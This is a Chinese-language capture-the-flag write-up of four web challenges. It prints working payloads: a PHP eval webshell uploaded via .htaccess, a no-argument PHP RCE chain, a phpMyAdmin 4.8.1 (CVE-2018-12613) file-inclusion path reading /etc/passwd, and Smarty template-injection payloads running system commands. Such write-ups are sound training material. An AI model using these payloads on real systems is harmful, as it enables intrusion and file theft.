Contents
  1. 1. [GXYCTF2019]BabyUpload
  2. 2. [GXYCTF2019]禁止套娃
  3. 3. [GWCTF 2019]我有一个数据库
  4. 4. [BJDCTF2020]The mystery of ip

[GXYCTF2019]BabyUpload

[GXYCTF2019]禁止套娃–无参数RCE

[BJDCTF2020]The mystery of ip–模板注入

[GXYCTF2019]BabyUpload

上传了一个正常jpg图片,居然报错了

接着尝试了png,gif,txt文件,也全都上传失败,上传没有后缀名的也上传失败,这是为毛??

看了wp,发现别人是可以上传jpg和png的???有毒?

上传.htaccess文件试试

啊,这,,,看来是题目坏了,总之做法就是,上传.htaccess文件之后,再上传png文件即可。

注意题目过滤了<?,所以使用<script language="php">eval($_POST['a']);</script>来绕过。

[GXYCTF2019]禁止套娃

页面啥也没有,查看源码和看了http头啥也没有

扫一下网站后台试试

存在.git泄露问题,用工具下载源码

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

是要传入一个exp参数,

这里有三重过滤

1.preg_match(‘/data://|filter://|php://|phar:///i’, $_GET[‘exp’]) 过滤掉php常用的几个伪协议,这样就不能去读取文件了

2.preg_replace(‘/[a-z,_]+((?R)?\)/‘, NULL, $_GET[‘exp’]) ,用正则来匹配无参数的函数,(?R)?表示递归引用之前的表达式,那么这里只能传入没有参数的函数,像这样的:xxx(xxx(xxx(…)));

3.preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’]) 正则匹配掉了et/na/info等关键字,很多函数都用不了

关于无参数RCE,这种时候就需要翻手册了,查找无参数可利用的函数

首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()。当scandir()传入'.',可以列出当前目录的所有文件

所以如果有函数能够返回'.'的话,就可以利用它作为scandir()的参数

localeconv()函数返回一包含本地数字及货币格式信息的数组

接下来只需要使得指针指向这个数组内的第一个值

current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

payload:?exp=var_dump(scandir(current(localeconv())));

接下来看如何读取到flag.php

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数返回翻转顺序的数组。

把数组顺序倒一下,然后使用next(),就可以读到flag

payload:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

参考1

参考2

[GWCTF 2019]我有一个数据库

应该是SQL注入,但是没告诉我们参数以及注入的页面。

用工具扫一下

发现存在phpmyadmin目录,访问一下

可以看到phpmyadmin的版本:4.8.1,搜索一下发现存在任意文件包含漏洞。cve-2018-12613

测试payload:?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

可以成功读取

尝试读取flag

?target=db_datadict.php%253f/../../../../../../../../../flag

我们还可以尝试一下任意代码执行

新建一张数据表

之后插入数据<?php phpinfo();?>,或者执行SQL语句INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

接下来包含这个文件,但是首先要知道这个文件的路径

可以使用SQL语句来查询:show global variables like "%datadir%";

接下来包含这个文件

linux中mysql文件的位置

image-20210522171616220

?target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/test/test.ibd

不知道为什么找不到文件。。。。。。

[BJDCTF2020]The mystery of ip

index页面

是这样一个页面,

flag页面,显示了自己的ip

hint页面,页面没有什么信息,但是查看源码有个注释信息

burp抓包看看

题目提示问为什么可以获取到客户端 ip,考虑是 XFF 或 Client-IP 这两个 header,添加X-Forwarded-For: 127.0.0.1之后,显示的ip确实变了,

这里应该是有问题的,测试了SQL注入和命令执行都不行,最后试试SSTI(Server-Side Template Injection),即服务器端模板注入

测试一下,是否可以进行逻辑运算{7*8}

接下来试试执行命令{phpinfo();}

发生了报错,是多了和分号;,同时我们也看到这个网站所使用的模板Smarty

接下来去掉分号看看,

接下来是找到flag了

居然不在flag.php里面,接着找

smarty注入payload

{if phpinfo()}{/if}
{if system(‘ls’)}{/if}
{ readfile(‘/flag’) }
{if show_source(‘/flag’)}{/if}
{if system(‘cat ../../../flag’)}{/if} #本题payload

Contents
  1. 1. [GXYCTF2019]BabyUpload
  2. 2. [GXYCTF2019]禁止套娃
  3. 3. [GWCTF 2019]我有一个数据库
  4. 4. [BJDCTF2020]The mystery of ip